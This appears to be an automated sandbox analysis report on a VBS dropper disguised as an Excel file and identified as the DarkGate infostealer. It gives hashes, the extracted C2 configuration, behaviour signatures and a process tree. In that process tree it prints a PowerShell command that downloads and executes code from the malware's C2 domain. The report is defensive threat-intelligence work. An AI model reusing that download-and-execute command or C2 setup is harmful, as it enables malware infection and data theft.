Analysis

  • max time kernel
    134s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-03-2024 20:54

General

  • Target

    MICROSOFT_OFFICE_EXCEL_A.vbs

  • Size

    12KB

  • MD5

    bbaded0a8091b76257dc4880c9ef59dc

  • SHA1

    ecae806439418202758a1011005f726a57399032

  • SHA256

    2d960acdda45cd77a0590c6f652d8496eba30e1b2b263f6a083ac5b27512d1c6

  • SHA512

    4ca8b46fa3ddcf4dfd370619da65dd96a00127618828016b833d8f94f6ca5c13981160b1abf389995c14a7d700ee2d3d1a08c8199c68153265619e8684c7b41c

  • SSDEEP

    192:QMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nNX:Ly19gR3IquNgzG2oNdOdEpeeqlPt

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

goingupdate.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    BCaKNSck

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MICROSOFT_OFFICE_EXCEL_A.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'goingupdate.com/ptoleqco')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\znjs\AutoHotkey.exe
        "C:\znjs\AutoHotkey.exe" C:/znjs/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:2972
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/znjs/
        3⤵
        • Views/modifies file attributes
        PID:3592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykkfrooo.zu2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\znjs\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\znjs\script.ahk

    Filesize

    53KB

    MD5

    827895df44c913dc5a7d09b6d870515f

    SHA1

    85602bc43253a7305485915e7ccf473bb9fb80ce

    SHA256

    4a7f3d3493544b18437d93c33bc0a58368559bf3d6a280ea37701ed26a9eca4c

    SHA512

    754599aa4eedbd1a5fdb299921b03ad62fa7e562f4348d3ad85da00f37f7aa34a7d789fb2736f3332e1e0dea6ae95468a80ebcb95cc527a5fe3d1329314e94ff

  • C:\znjs\test.txt

    Filesize

    913KB

    MD5

    b148cf7994ff0b13731d59c6dbad74d7

    SHA1

    c80fe953e57298e7d306e224fd204237d774211a

    SHA256

    1e179123985709f3c82c2cf0c6e8bfa857e075015254c136939862f683c5aa5f

    SHA512

    02a752c8962014297076bc28ea658a1e317791fac302e8d8b86566b2b9fe326673b3871d97f8d89b041e9f6cbe538b7e04da61ca27b0d0536079efa566b55f51

  • memory/2972-34-0x0000000003160000-0x00000000031D3000-memory.dmp

    Filesize

    460KB

  • memory/2972-36-0x0000000003160000-0x00000000031D3000-memory.dmp

    Filesize

    460KB

  • memory/3836-5-0x000001297EE00000-0x000001297EE22000-memory.dmp

    Filesize

    136KB

  • memory/3836-10-0x00007FFCCDF00000-0x00007FFCCE9C1000-memory.dmp

    Filesize

    10.8MB

  • memory/3836-11-0x000001297EDA0000-0x000001297EDB0000-memory.dmp

    Filesize

    64KB

  • memory/3836-12-0x000001297EDA0000-0x000001297EDB0000-memory.dmp

    Filesize

    64KB

  • memory/3836-13-0x0000012980000000-0x00000129801C2000-memory.dmp

    Filesize

    1.8MB

  • memory/3836-31-0x00007FFCCDF00000-0x00007FFCCE9C1000-memory.dmp

    Filesize

    10.8MB